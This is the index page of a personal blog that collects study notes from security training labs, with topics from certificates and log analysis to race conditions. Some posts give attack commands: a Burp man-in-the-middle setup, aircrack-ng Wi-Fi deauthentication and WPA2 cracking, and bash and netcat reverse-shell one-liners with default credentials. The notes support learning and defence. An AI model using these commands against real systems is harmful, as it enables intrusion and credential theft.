Latest Posts

• Post 78 - AI, shmAI

  Day 4 AI old sAInt nick

• Post 77 - Splunk, splunk, splunk, goes the water

  Day 3 Splunk Did you SIEM?

• Post 76 - It's phishing season

  Day 2 Phishing Merry Clickmas

• Post 75 - It begins again!

  Day 1 Linux CLI Shells Bells

• Post 74 - Picklenose, we hardly knew ye

  Task 20, Day 14 Certificate mismanagement Even if we’re horribly mismanaged, there’ll be no sad faces on SOC-mas!

  Parts of a certificate:

  • Public key: Part of the cryptographic keys, the public key is made available to anyone and is used to encrypt data.
  • Private key: Other part of the keys, the private key remains secret and is used by the server/website to decrypt the data.
  • Metadata: Provides additional information about the certificate holder (the website/server) and the certificate. Usually will contain info about the CA, subject (website/server), uniquely identifiable number, validity period, signature, and hashing algorithm.

  How it Works

  Breakdown of what happens with a certificate:

  • Handshake: Browser requests a secure connection, website responds by sending a certifcate with only the public key and metadata.
  • Verification: Browser checks validity by checking to see if it’s a trusted CA. If it is current, not tampered with, and a trusted CA, it’s a green light.
  • Key exchange: Browser uses the public key to encrypt a session key, which encrypts all communications between the browser and the website.
  • Decryption: Server uses its private key to decrypt the (symmetric) session key. Once both browser and website share a secret session key there is a secure and encrypted connection.

  Self-Signed Certificates vs. Trusted CA Certificates

  Browsers typically don’t trust self-signed certificates because there is no third-party verification. Just because you say you’re ths entity doesn’t mean you are. Being too trusting leads to man-in-the-middle attacks. Trusted CA certificates are verified by a CA that acts as a trusted third party to confirm an entity is who they say they are.

  Attack Vector

  Resolve the target website to self in order to prevent DNS logs from alerting others. echo "<ip-address> <web-address.tld>" >> /etc/hosts. Can confirm with cat /etc/hosts. Next, use Burp to set self up as the man-in-the-middle (mitm). Proxy > Intercept off > Proxy Settings. Add new listener for our IP address. Set to port 8080 and toggle on Specific address to specify own address. Burp comes with its own self-signed certificate, and since users were already used to clicking advanced and accept, it won’t phase them with this new cert.

  Sniff From the Middle

  Reroute all traffic to own machine by adding resolution for website to own IP, setting self up as gateway (full attack is more in depth, just out of scope for this task).

  (Dummy mode for this task involves running a script to simulate interactions with the website. If in the wild, it’s not necessary.)

  Go to HTTP History section of Burp to see intercepted requests.

  The Task

  Use the mitm attack to sniff out admin creds and find flags along the way.

  Recommeded Stuff

  Burp Suite module.

• Post 73 - I need more time.

  Task 19, Day 13 WebSockets It came without buffering! It came without lag!

  WebSockets let your browser and the server keep a contanst line of communication open. Great for things like live chat apps, real-time games, and live data feeds. Since there is no need for extra requests once the line is opened, there’s less overhead and faster communications.

  WebSocket Vulnerabilities

  Since WebSockets stay open and active, they can be taken advantage of if proper security measures aren’t in place. Common vulnerabilities to be aware of:

  • Weak Authentication and Authorisation: WebSockets don’t have built-in ways to handle user auth or session validation like HTTP does. If controls aren’t setup properly, attackers can slip in and get access to what they shouldn’t have.
  • Message Tampering: Since there is a constant flow of data and attacker could intercept and change messages if there’s no encryption. This could allow harmful command injection, performing actions they shouldn’t, or corrupting the sent data.
  • Cross-Site WebSocket Hijacking (CSWSH): Attacker tricks a user’s browser into oppening a WebSocket connection to another site. If successful, the attack could use that connection to access data meant for the legitimate server.
  • Denial of Service: When targeted for a DoS attack, the server could be flooded with a ton of meassages, potentially slowing it down or even crashing it.

  WebSocket Message Manipulation

  When an attacker intercepts and changes the messages sent between browser and server. if for a transaction, they could bypass security checks, send unauthorized requests, or alter important data like usernames, payment amounts, or access levels, possibly rerouting payments to a different account. Since the WebSockets connection is open in reaal-time, all changes are immediate. Messages could also be changes to grant admin rights or insert malicious commands to take over the server.

  Since WebSockets don’t have the same security protections as traditional HTTP connections, devs need to add vigorous checks like message validation or encryption. The impact of changin messages depends on how the app uses the data and what kind of data it is. Four possible outcomes include:

  • Doing Things Without Permission: It’s possible to impersonate another user and carry out unauthorized actions, like making purchases, transferring funds, or changing account settings.
  • Gaining Extra Privileges: Manipulate messages to appear to have mor privileges than they actually do. Could access admin controls, change user data, view sensitive info, or mess with system settings.
  • Messing Up Data: Possible to feed bad data into system.
  • Crashing the System: Spam the server with bad requests, causing it to slow or crash. System could go offline causing serious downtime.

  Exploitation (The Task)

  Turn on FoxyProxy and open Burp Suite to Proxy > Intercept > Proxy settings > WebSocket interception rules. In this instance, enable intercepting both directions. Use the intercept to track different cars and inject messages for other people.

  Recommended Stuff

  Burp Suite module.

• Post 72 - And, they're off!

  Task 18, Day 12 Web timing attacks If I can’t steal their money, I’ll steal their joy!

  Web Timing and Race Conditions

  Type of vulnerability isn’t about sending bad data, it’s about how the data is sent. Simplest form, web timing attack means gleaning information from a web application by reviewing how long it takes to process our data. By making tiny changes in what is sent or how it’s sent and observing the response time, we can access information we’re not authorized to. Race conditions are a subset of web timing attacks where you can cause the web application to do unintended actions on our behalf. Time differences from 1300ms to 5ns have been used for attacks. They can be hard to detect, but HTTP/2 has made it a bit easier to find and exploit them.

  HTTP/2

  HTTP/2 supports feature called single-packet multi-requests. With single-packet single-request, couldn’t tell if delays were from processing or network latency. Stacking multiple requests in the same TCP packet with single-packet multi-request eliminates network latency from the equation. All that remains is server latency.

  Typical Timing Attacks

  Two main categories:

  • Information disclosures: Leveraging differences in response delays can uncover information a threat actor shouldn’t have. Timing differences can be used to enumerate usernames, making it easier to stage a password=guessing attack.
  • Race Conditions: Similar to business logic flaws in that they can cause unintended actions. The root cause is how the application processes requests. I.e. sending the same coupon request several times at once may allow applying it more than once.
    Rest of task focuses on race conditions and the Time-of-Check to Time-of-Use (TOCTOU) flaw.

  The Practical

  Need to be able to intercept traffic, so using Burp Suite and the Burp browser. Intercepting POST request for transfer and sending to repeater. From Repeater window, after clicking on the request, use CTRL+R to copy the tab 10 times. Click plus sign to create a tab group. Click down caret at Send botton and select Send group in parallel (last-byte sync), then send the request.

  Fixing the Race

  Since this flaw was caused by python code running the transaction and the balance check separately, there are a few recommended fixes.

  • Use Atomic Transactions: Atomic database transactions can be used to ensure all the steps of a fund transfer are performed as a single unit. This ensures that either all steps succeed or none do, preventing partial updates.
  • Implement Mutex Locks: The dev could have ensured only one thread accesses the shared resource (like account balance) at a time. This would prevent multiple requests from interferring with each other during the concurrent transations.
  • Apply Rate Limits: Should have implemented rate limiting on critical functions like transfers and withdrawals. This limits number of requests processed within a specific time frame, reducing risk of abuse through rapid, repeated requests.

  The Task

  Grab the flag from one of the transactions performed.

  Recommended Stuff

  Race Conditions room.

• Post 71 - Not so secret secret

  Task 17, Day 11 Wi-Fi attacks If you’d like to WPA, press the star key!

  Attacks on Wi-Fi

  For educational purposes only:

  • Evil twin attack: Fake access point with a similar name to a trusted network (i.e. “Home_Internnet” instead of “Home_Internet”). Attack starts by sending deauth packets to all the users on the legitimate AP. Frustration grows and users open the properties and see another network with the “right” name and stronger signal. They connect to the illegitimate network and their traffic is visible to the attacker.
  • Rogue access point: Similar to the evil twin attack, attaker sets up an open Wi-Fi AP near or inside an org’s physical premises so it has ideal signal strength. If users’ devices are set to auto-connect to open Wi-Fi, they may accidentally join the illegitimate network.
  • WPS attack: Wi-Fi Protected Setup (WPS) PINs are vulnerable in some networks due to insecure configuration. This attack initiates a handshake with the router and captures the response. This contains data related to the PIN and can be brute-forced into revealing the PIN and extracting the PSK.
  • WPA/WPA2 cracking: Security of the protocol is heavily influenced by the length and comlexity of the PSK. Cracking WPA starts with sending deauth packets to a legitimate user and capturing the 4-way handshake as the user reconnects. After the handshake is captured, the attacker can crack the password with brute-force or dictionary attacks against the captured handshake file.

  The 4-way Handshake

  Basic steps:

  • Router sends a challenge: The router/AP sends a “challenge” to the client asking it to prove it knows the network’s password without directly sharing it.
  • Client responds with encrypted info: Client uses the PSK to create an encrypted response that only the router can verify if it also has the correct PSK.
  • Router verifies and sends confirmation: If the client’s response matches what thr outer expects, the client’s PSK is correct and the router sends its own confirmation to the client.
  • Final check and connection established: Client verifies the router’s response, and if it matches, they finish setting up the secure connection.

  The handshake doesn’t directly reveal the PSK, but involves encrypted messages that can only be understood with the same PSK.

  The Vulnerability

  Anyone can “hear” this conversation happening, and can use it as the basis to attempt offline brute-forcing or dictionary attacks. This involves trying different possible passwords and comparing the results to the captured handshake until the same result is achieved.

  The Practical

  In terminal:

  • iw dev to show any wireless devices available, and their configuration.
  • sudo iw dev wlan2 scan to use wlan2 to scan for available networks.
    • BSS(ID) can help identify the maker of the device, and SSID idicates it is sdvertising a network, so it is an AP of some sort.
    • RSN (Robust Security Network) is part of WPA2 standard, so network is using WPA2. This typically defines the encryption and authentication settings.
    • Group and Pairwise ciphers are CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol), the encryption method used by WPA2.
    • Authentication suites is PSK, indicating it is WPA2-Personal with a shared password for authentication.
    • DS Paarameter set is channel 6, showing it it 2.4GHz network.

  Monitor mode on the wireless device allows it to listen to all traffic on a specific channel, whether directed at the device or not. Captures all traffic within range for analysis without ever joining network. To set device in monitoring mode:

  • sudo ip link set dev wlan2 down to turn off device.
  • sudo iw dev wlan2 set type monitor to set device to monitor mode.
  • sudo ip link set dev wlan2 up to turn device on.

  Application

  Using 2 terminals to observe capture and issue commands:

  • sudo airodump-ng wlan2 to start capturing traffic, specially targeting handshake packets (note: by default airodump-ng automatically switches the device into monitor mode if it’s available).
  • sudo airodump-ng -c 6 --bssid <MAC-address> -w output-file wlan2 to target a specific channel and MAC address, and save the captures to a few files that start with “output-file”.
    • STATION shows the BSSID of the connected device.
    • sudo aireplay-ng -0 1 -a <AP-MAC-address> -c <Station-MAC-address> wlan2 to start deauth attack.
    • -0 to specify deauth attack, 1 to specify sending 1 deauth.
    • -a BSSID of AP.
    • -c BSSID of the client to deauth. Success is shown when WPA handshake shows in top right corner. Can then move on to cracking the PSK by using aircrack-ng:
  • sudo aircrack-ng -a 2 -b <AP-MAC-address> -w </path/to/wordlist.txt> output*cap where:
    • -a 2 indicates WPA/WPA2 attack mode.
    • -b indicates AP MAC address.
    • -w indicates the dictionary list to use.
    • output*cap name of the output files to run the attack against. Once PSK is cracked, can use it to join the network, after turning off airodump-ng. Can’t join a network if the device is in monitor mode. Can join the wireless network with:

      :~$ wpa_passphrase <SSID> '<PSK-HERE>' > config
      :~$ sudo wpa_supplicant -B -c config -i wlan2
      

  The Task

  Retrieve SSID, BSSID, and PSK info.

  Recommended Stuff

  Networking module

• Post 70 - Quick, don't think, just act!

  Task 16, Day 10 Phishing He had a brain full of macros, and had shells in his soul.

• Post 69 - Is it really worth it?

  Task 15, Day 9 GRC Nine o’clock, make GRC fun, tell no one.

• Post 68 - My head hurts

  Task 14, Day 8 Shellcodes Shellcodes of the world, unite!

• Post 67 - The Princess and the Pcap

  Task 13, Day 7 AWS log analysis Oh, no. I’M SPEAKING IN CLOUDTRAIL!

• Post 66 - Playing in the sand

  Task 12, Day 6 Sandboxes If you can’t find a nice malware to use, I’m not going.

• Post 65 - Still behind but moving

  Task 11, Day 5 XXE SOC-mas XX-what-ee?

• Post 64 - Third time's the charm

  Task 10, Day 4 Atomic Red Team I’m all atomic inside!

  There will be gaps in your defenses, but they don’t have to be huge, they can be minimized. Two main reasons for Detection gaps:

  • Security is a cat and mouse game. As defenders detect more, attackers find new ways around. Defenders study new techniques and adjust rules/alerts to suit and cycle begins again.
  • Line between anomalous and expected behavior is often very thin or non-existent. 99.9% of logins may come from the US until someone goes on EU vacation and logs in. Anomalous behavior, but not malicious, and possibly predictable/expected. Sometimes hard to create rules that don’t make too much noise.

  Cyber Attacks and the Kill Chain

  All cyber attacks follow fairly standard process refered to as Unified Cyber Kill chain:
  Initial Recon > Initial Compromise > Establish Foothold > Escalate Privileges > either Internal Recon or GOTO 80 > Move Laterally > Maintain Presence > Escalate Privileges > Complete Mission (80)

  MITRE ATT&CK and Atomic Red Team

  Blue team dream to detect and prevent all attacks at step 1, but unpractical. Need to try to detect at each step so any one miss along the chain isn’t disasterous. Real goal is to detect before the last phase of goal execution. MITRE ATT&CK framework is collection of tactics, techniques, and procedures (TTPs) seen to be implemented in the wild. Has navigator tool to investigate TTPs. All information is theoretical. Atomic Red Team library is collection of test cases mapped to MITRE Att&CK framework.

  Drop atomics in powershell by using invoke-atomictest. Parameters:

  Parameter	Explanation	Example
  -AtomicTechnique	Defines technique to emulate. Can use complete name or “TXXXX” value. Can be omitted.	invoke-atomictest -atomictechnique T1566.001
  -ShowDetails	Shows details of each test in the Atomic.	invoke-atomictest T1566.001 -showdetails
  -ShowDetailsBrief	Shows the title of each test in the Atomic.	invoke-atomictest T1566.001 -showdetailsbrief
  -CheckPrereqs	Checks if all necessary components are present for testing.	invoke-atomictest T1566.001 -checkprereqs
  -TestNames	Sets tests to execute using Atomic Test name.	invoke-atomictest T1566.001 -testnames “Download Macri-Enabled Phishing Attachment”
  -TestGuids	Sets test to be executed using test id.	invoke-atomictest T1566.001 -testguids 114ccff9-ae6d-4547-9ead-4cd69f687306
  -TestNumbers	Sets test to be executed using test number. Limited to the Atomic Technique.	invoke-atomictest T1566.001 -testnumbers 2,3
  -Cleanup	Run the cleanup commands configured to revert machine to normal.	invoke-atomictest T1566.001 -testnumbers 2 -cleanup

  Detecting the Atomic

  Can use Windows Event Logs/Sysmon to find actions that take place during testing.

  Alerting on the Atomic

  Detecting the Atomic doesn’t matter if you don’t do anything about it. Can create custom alerting rules once we know what artefacts were created during attack. Look for things that don’t often run from scripts in the background, i.e. Invoke-WebRequest.

  The Task

  Identify the atomic test that will take advantage of a command and scripting interpreter, conduct the test, extract artefacts, and grab the flag.

  Recommended Stuff

  Atomic Red Team room.

• Post 63 - Twice in three days

  Task 9, Day 3 Log analysis Even if I wanted to go, their vulnerabilities wouldn’t allow it.

  Operation Blue

  Log analysis is crucial to blue-team work.

  • ELK: Elasticsearch, Logstash, and Kirbana

  ELK combines data analytics and processing tools to make log analysis manageable. Forms dedicated stack to aggregate logs from multiple sources into central place. Today starts with Kibana Discover interface.

  • Index pattern: Collection of logs. Could be from single host or multiple hosts with similar purpose, i.e. web servers.
  • KQL: Kibana Query Language - Language for searching documents for values. Semi-similar to Splunks SPL (Search Processing Language).

  Query/Syntax	Description	Example
  ” “	Search for specific values. Exact search.	“TryHackMe”
  **	Wildcard for similar matches to value provided	United** (returns United Kingdom and United States)
  OR	Shows documents that contain either value provided	“United Kingdom” OR “England”
  AND	Shows documents that contain both values provided	“Ben” AND “25”
  :	Search a specific field in the document. Field availability depends on fields available in document.	ip.address: 10.10.10.10

  Can filter out noise by selecting/unselecting certain fields. Adding fields just applies correct KQL syntax through GUI. Can also filter specific values in fields by clicking field in left pane and adding/removing with +/-. Can click and drag on timeline to select time covered in search.

  Operation Red

  Unrestricted File Uploads

  Without the website confirming things like file type, size, file contents it can open door for attacks on webserver.

  • RCE: Uploading a script that the server runs giving control to the attacker.
  • XSS: Uploading HTML file containing XSS code to steal a cookie and send it back to attacker’s server.

  Usage of Weak Credentials

  One of the easiest paths of attack is weak or default creds. Common weak.default creds attacker might try:

  Username	Password
  admin	admin
  administrator	administrator
  admin@domainname	admin
  guest	guest

  RCE and Web Shells

  Post vulnerability exploitation commands to try:

  Command	Use
  ls	Gives idea of files and directories around you
  cat	Outputs contents of documents like text files
  pwd	Gives idea of where in system you are
  whoami	Lets you know who you are
  hostname	System name and potentially its role
  uname -a	System info like OS, kernel version, etc.
  id	Shows any groups current user is assigned to
  ifconfig	Network setup info
  bash -i >& /dev/tcp/<your-ip>/<port> 0>&1	Begins reverse shell via bash
  nc -e /bin/sh <your-ip> <port>	Begin reverse shell via Netcat
  find / -perm -4000 -type f 2>/dev/null	Finds SUID files, useful for privesc
  find / -writable -type f 2>/dev/null | grep -v “/proc/”	Find files with writable permissions

  The Task

  Investigate attack in Kibana to answer blues questions, then recreate attack to answer red questions. Had to watch the end of the video to get my shell going.

  Recommended Stuff

  Advanced ELK queries room(?).

• Post 62 - Stumbled out of the gate

  Task 8, Day 2 Log analysis One man’s false positive is another man’s potpurri.

  Because of reasons and obligations I’m already 4 days behind and AoC just started. Here we go…

  Detection Engineering rules defined in SIEM to identify malicious or suspicous activity from event logs. Analysis of SIEM events tke place in SOC. SOC has superpower of calling users or processing change requests to confirm user actions to eliminate false positives.

  Kryptonite to SOC superpower:

  • Org doesn’t have change request process
  • Performed activity was outside scope of CR or different than approved CR
  • Activity triggered an alert (copying file to certain location, uploading file to website, failed login, etc.)
  • Insider threat performed unauthorized action, intentially or unintentionally
  • User performed malicious activity because of social engineering

  Context

  Context of user, department, tools, etc. helps analyst make right judgement. Networking team may use Wireshark (doodoo doodoo doo) but use of it by HR or Finance would be out of place.

  Correlation

  Correlate past and future events to create timeline to tell story of what is happening. Important to note artifacts important enough to connect dots; IPs, machine names, user names, hashes, file paths, etc. Always ensure evidence supports hypothoses.

  Using elastic

  Hamburger menu > Discover > set date/time range. Add columns from field on left. Best practice to have named accounts to do any admin activity so there is accountability and attribution for each activity performed. Seeing generic service admin accounts should raise suspicion. Note: Powershell uses Base64. Encoded commands can thus be decoded through Cyber Chef.

  The Task

  Answer questions based on info from elastic and Cyber Chef.

  Recommended Stuff

  Investigating with ELK 101 room.

• Post 61 - Once more it begins

  Task 7, Day 1 OPSEC Maybe SOC-mas music, he thought, doesn’t come from a store?

• Post 60 - So many shots

  Task 16, Day 10, SQL injection Inject the Halls with EXEC Queries

• Post 59 - Resuming

  Task 15, Day 09, Malware analysis She sells C# shells by the C2shore

• Post 58 - Gaining evidence

  Task 14, Day 08, Disk forensics Have a Holly, Jolly Byte!

• Post 57 - Dig, dig, dig

  Task 13, Day 07, Log analysis ‘Tis the season for log chopping

• Post 56 - Deja vu

  Task 12, Day 06, Memory corruption Memories of Christmas Past

• Post 55 - Memories, ...

  Task 11, Day 05, Reverse engineering A Christmas DOScovery: Tapes of Yule-tide Past

• Post 54 - Brr

  Task 10, Day 04, Brute-forcing Baby, it’s CeWLd outside

• Post 53 - Open Sesame

  Task 9, Day 03, Brute-forcing Hydra is Coming to Town

• Post 52 - Is that a log or a big snake?

  Task 8, Day 02, Log analysis O Data, All Ye Faithful

• Post 51 - The Return

  Task 7, Day 01, Machine learning Chatbot, tell me, if you’re really safe

• Post 50 - OWASP Top 10

  OWASP Open Web Application Security Project

• Post 49 - Applying

  Practical application through an example attack.

• Post 48 - Targeting

  Target module’s Sub-tabs:

• Post 47 - A return

  Took advantage of some simple one to keep the streak going but keep working on other things. They were mostly explanitory setup items. Today’s task doesn’t take any action to answer the questions, but might have a couple noteworthy items.

• Post 46 - FoxyProxy

  Burp Proxy open a web interface at 127.0.0.1:8080 (by defualt). Either need to alter bowser settings to use proxy, or use Firefox extension FoxyProxy. Allows saving proxy profiles so switching between Burp and regular use is simple.

• Post 45 - Proooxyyyy

  Day 53 and I’m still saying “I’m not a robot” in a Frank Drebin voice. Today I’m sticking to one task, Introduction to the Burp Proxy.

• Post 44 - Keep that intro rollin

  Still no archive. Possibly farther from having an archive. And still only in the introductory tasks of the Burp room.

• Post 43 - Rollin, rollin, rollin

  The two tasks I think I’m going to stick to are on Installation and The Dashboard, so there may not be many notes.

• Post 42 - Pardon me

  Burp Suite: The Basics

  Last night I finished off “HTTP in detail”. There was a cool little emulator to create HTTP requests and see the code sent, then the response contained the flag for that particular question. Today starts Burp.

• Post 41 - Coookie

  Cookies are saved when you recieve a “Set-Cookie” header from a web server. Every subsequent request to the server, the cookie gets sent along with. HTTP is stateless, so cookies can remind the server who you are, what personal settings for the website may be set, or whether you have visited the website before. Sample exchange:
  ```http GET / HTTP/1.1 Host: cookies.thm User-Agent: xxxx

• Post 40 - Heading for a snack

  I’m now at over 40 posts and the streak is at 46. Not a bad difference considering some of the days I had trying to keep the streak alive but not enough time to write about it. The home page is getting kind of long, so in addition to the archive I’m trying to get working, I think I need to also incorporate a paginate, although the newest gem for Jekyll apparently doesn’t work with GitHub Pages. I’ll have to add that to the list of things to get sorted. Now as Zaphod and Ford say - to business.

• Post 39 - Roger but maybe not WILCO

  HTTP Status Codes

  Status codes inform client of the outcome of its request and potentially how to handle it. Can be broken into 5 different ranges:

• Post 38 - A short one for the road

  Since I’m trying to get an archives section going and cut down the clutter on the homepage I’m only doing one task and it’s a short one.

• Post 37 - Beginning HTTP in detail

  HTTP is the set of rules used for communicating with webservers for transmitting webpage data, whether it’s HTML, images, videos, etc.

• Post 36 - JavaScript and web problems

  JavaScript

  While HTML provides structure and content, JavaScript controls functionality. JS allows dynamic pages, like changing the styl of a button when a particular event happends on the page. JS is added within the page source code and can be loaded within <`script`> tags or referenced with the src attribute, <`script src="/location/of/javascript_file.js"><``/script>.

• Post 35 - A new beginning (sort of)

  New room in the path, “How Websites Work”. Also, day 41 of the streak.

• Post 34 - MySQL

  Enumerating MySQL

  MySQL typically not the first point of call in a network, definitely unlikely as a path in a CTF. For purposes of this lesson, credentials were found while enumerating subdomains of a web server but they didn’t match up to an SSH user, so trying them with MySQL. If trying to use non-Metasploit tools: https://nmap.org/nsedoc/scripts/mysql-enum.html
  https://www.exploit-db.com/exploits/23081

• Post 33 - M-m-m MySa SQL

  Understanding MySQL

  Relational database management system (RDbMS) based on Structured Query Language (SQL).

• Post 32 - Soggy Morning Toilet Paper

  Exploiting SMTP

  This is leveraging SMTP information to gain SSH access to the system. The previous enumeration revealed an open SSH port, a username, and the type of SMTP server and OS running.

• Post 31 - SMTP

  Understanding SMTP

  Email requires protocol pair, SMTP and POP/IMAP. SMTP server performs three basic functions:

  • Verifies who is sending emails through the server
  • Sends the outgoing mail
  • If outgoing mail is undeliverable it send the message back to the sender

• Post 30 - More NFS

  Enumeratinging NFS

  First tool needed on a local machine to do more advanced enumeration is nfs-common package (Linux?). Important to have on any machine that uses NFS, as client or server. Includes lockd, ststd, showmount, nfsstat, gssd, idmapd, and mount.nfs. Primary concern for enumerating purposes is showmount and mount.nfs because they’re most useful for extracting information from the NFS share.

• Post 29 - Network Services 2

  Understanding NFS

  NFS - Network File System allows sharing directories and files with others over a network. Allows access almost as if local files by mounting all or a portion of a file system on a server. User priviledges can be assigned. Further nitty gritty reading: https://docs.oracle.com/cd/E19683-01/816-4882/6mb2ipq7l/index.html

• Post 28 - FTP

  Network Services part 5

  Understanding FTP

  FTP session operates using two channels, command/control and data. The command channel is used for commands and replies, while the data channel transfers data. Functions as a client-server protocol. Comes in Active and Passive connections.

  • Active FTP - Client opens port and listens, server required to actively connect to it.
  • Passive FTP - Server opens port and listens passively, client has to connect to it.

• Post 27 - Telling of the net

  Network Services part 4

  Enumerating Telnet

  Same process as with SMB, start with a port scan.

• Post 26 - Short of time

  Network Services part 3

  Made it to 31 days in the streak, but this will be a short one.

• Post 25 - Moving forward

  Network Services part 2

  Exploiting SMB

  Vulns like CVE-2017-7494 can allow RCE, but more likely to come across misconfigurations that allow access. One common misconfig allows gaining information that in turns allows shell access.

• Post 24 - Do I start anew

  AoC is over once again. Prizes were not won, but at least fun was had, several new things were learned, and the dust was shaken off a few older things. I took a super easy question yesterday to keep the streak alive, and now I need to figure out where to go. Now that I’m a subscriber, I can go further in a learning path than I have before. The problem is I dodn’t remember what I started. I thought I hit the paywall and had pivoted to another learning path, but I’m not entirely sure now. At the moment, I’m on the comlete beginner path getting into the Network Services Room. I guess I’ll finish that and see where I end up.

• Post 23 - Almost there

  Task 28, Day 23, Defense in Depth Mission ELFPossible: Abominable for a Day

  One to go…

• Post 22 - Gotta hurry up

  Task 27, Day 22, Attack Surface Reduction Threats are failing all around me

  Two to go…

• Post 21 - Still Playing Catchup

  Task 26, Day 21, MQTT Have yourself a merry little webcam

  Formal definition of IoT may change depending on who is setting it, but can be best used as a broad categorization of “a device that sends and receives data to communicate with other devices and systems.” IoT categorizes unique devices, i.e. smart fridges, that dont match other categories, such as mobile devices. Tend to be lightweight, only essential functionality and features included. Of the modern features that may be left out or overlooked is security.

• Post 20 - Playing Catchup

  Task 25, Day 20, Firmware Binwalkin’ around the Christmas tree

  Focusing on firmware reverse engineering from a security standpoint. It’s possible a smart watch could have firmware programmed to send all incoming messages, emails, etc. to a specific IP unbeknownst to the user. Steps to follow:

  • Obtain firmware from the vendor’s website or extract from device
  • Analyze the fire (usually a binary) to figure out its type, bare metal or OS based
  • Verify if firmware is encrypted or packed and undo. If encrypted, usually takes a tricky workaround like reversing previous non-encrypted releases or performing hardware attacks like Side Channel Attacks to fetch the encryption keys
  • once encrypted, use different techniques and tools depending on type

• Post 19 - Back from the dead (sort of)

  Task 24, Day 19, Hardware Hacking Wiggles go brr

  Too many things going on and had to skip a couple days, but kept the streak going at least through answering some random simple questions. Now I have three days worth of AoC to catch up on though.

• Post 18 - Searching with Sigma

  Task 23, Day 18, Sigma Lumberjack Lenny Learns New Rules

  Threat detection involves proactively prusuing and analysing abnormal activity within an ecosystem to identify malicious signs of compromise or intrusion within a network.

• Post 17 - Seeking validation

  Task 22, Day 17, Secure Coding Filtering for Order Among Chaos

  Validating input is the castle wall of your web aap castle. Merits the same amount of hardening as their medieval counterparts. A generally effective way of validating input is first to know how a specifi piece of data is going to be processed by the rest of the app. Then go through syntax and semantic validation checks to ensure user-provided values in syntax and logical value. Then comes filtering with very specific rules as to what forms will accept and imeediately strip or drop ones that don’t fit the predefined category.

• Post 16 - Fix it don't break it

  Task 21, Day 16, Secure Coding SQLi’s the king, the carolers sing

  SQL is traditional language used to query DBs. Any app that relies on a DB needs to create SQL sentences on the fly to retrieve information. SQL syntax supposed to resemble straightforward English sentences.

• Post 15 - Reversing to go forwards

  Task 20, Day 15, Secure Coding Santa is looking for a Sidekick

  Another security concern for web apps is insufficient input validation. Occurs when user-provided input is inherently trusted by the application. I think I know where this is going. SQL Injection, Cross Site Scripting, and Unrestricted File Upload stem from this issue. UFU can allow an attakcer to host and/or serve illegal content or leak sensitive information. Usually has two main paths:

  • If attacker can retrieve the uploaded file it can lead to code execution if he uploads a file like a web shell.
  • If the file is viewed by a user, then malware could be embedded that would execute on the user’s workstation when they view it.

• Post 14 - Web app wanderings

  Task 19, Day 14, Web Applications I’m dreaming of secure web apps

  Can’t talk webapps without talking databases. Two popular database models:

  • Relational Database - Stores data in tables. Tables can share information. Basic example with three tables: products, customer_details, purchases. purchases table would use information from the products table.
  • Non-relational Database - Any database that doesn’t use tables. might store data in documents and graph nodes, among other types.

• Post 13 - Pcap Parade

  Task 18, Day 13, Packet Analysis Simply having a wonderful pcap time

  Ran out of time to do a separate task and post yesterday. Only had enough time to finish off Task 17 from Monday.

• Post 12 - Pop and Lock

  Task 17, Day 12, Malware Analysis Forensic McBlue to the REVscue

  Malware has typical patterns allowing easier identification and providing insight for defenses.

  • Network connections - malware tends to establish external or internal network connections. External allows remote access or downloading staged payloads from attacker infrastructure. Internal allows lateral movement to extend access to other hosts/applications.
  • Registry key modifications - malware typically uses reg keys to establish persistence. I.e. Registry Run Keys allows binaries to be auto executed at login or boot.
  • File manipulations - malware tends to download or create new files needed for successful execution.

• Post 11 - Memory Trouble

  Task 16, Day 11, Memory Forensics Not all gifts are nice

  Note: Two days later I realized I forgot to rename this and the next posts in the front-end. Fitting for a memory-centric task.

• Post 10 - Game On

  Task 15, Day 10, Hack a Game You’re a mean one, Mr. Yeti

  I think I tripped over a rock and died.

• Post 09 - PIVOT!

  Task 14, Day 09, Pivoting Dock the halls

  Common way to tell if a compromised application is running in a docker container is checking if root dir has /.dockerenv.

• Post 08 - Cryptocurrency

  Task 13, Day 08, Smart Contracts Last Christmas I gave you my ETH

  First, before anything else, based on the title there is no way I’m watching the walkthrough video lest I be suckered into losing Whamageddon. Sneaky tip to MWRSecurity, if you don’t already have Wham’s Last Christmas playing quietly in the background, you should reshoot the video with it on a loop.

• Post 07 - Double down

  Task 12, Day 07, CyberChef Maldocs roasting on an open fire

  Had to skip yesterday’s challenge and post, so they’re doubled today. I kept a simple question in the wings to keep the streak alive though. Glad for this one because I’m always looking for a fun reason to use CyberChef.

• Post 06 - What what the email

  Task 11, Day 06, Email Analysis It’s beginning to look a lot like phishing

  Two main concerns in email analysis:

  • Security issues - Identifying suspicious/abnormal/malicious patterns in emails
  • Performance issues - Identifying delivery and delay issues

• Post 05 - Being a brute

  Task 10, Day 05, Brute-Forcing He knows when you’re awake

  Remote Access Services

  • SSH - Secure Shell. Remote login with CLI
  • RDP - Remote Desktop Protocol. GUI access to Windows systems.
  • VNC - Virtual Network Computing. GUI access to any type of system.

• Post 04 - Scans of our Lives

  Task 9, Day 04, Scanning Scanning through the snow

  Types

  Two types of scanning based on intrusiveness of info gathering:

• Post 03 - OSINT

  Task 8, Day 03, OSINT Nothing escapes detective McRed

  OSINT - gathering and analysing publicly available data for intel purposes. Sources include internet, mass media, specialist journals and research, photos, and geospatial information. Accessed via open internet (indexed by search engines), closed forums (not indexed by search engines), deep and dark web.

• Post 02 - Logging

  Task 7, Day 02, Log Analysis Santa’s Naughty & Nice Log

  Windows logs available through Event Viewer.

• Post 01 - AoC 2022 Begins

  Task 6, Day 01, Frameworks Someone’s coming to town!

  Frameworks is referring to security frameworks, in this case namely NIST Cybersecurity Framework, ISO 27000 series of standards, MITRE ATT&CK framework, the Cyber Kill Chain, and the Unified Kill Chain.

• Post 00

  I started trying to get this site up and running after last year’s AoC event. I had a good streak going, was learning all sorts of stuff, and wanted to keep better track of it than random notes and pages in various notebooks. Unfortunately I could never get it up and running, then I lost my streak and my desire. With AoC kicking off again in a few hours I wanted to try and get it running again.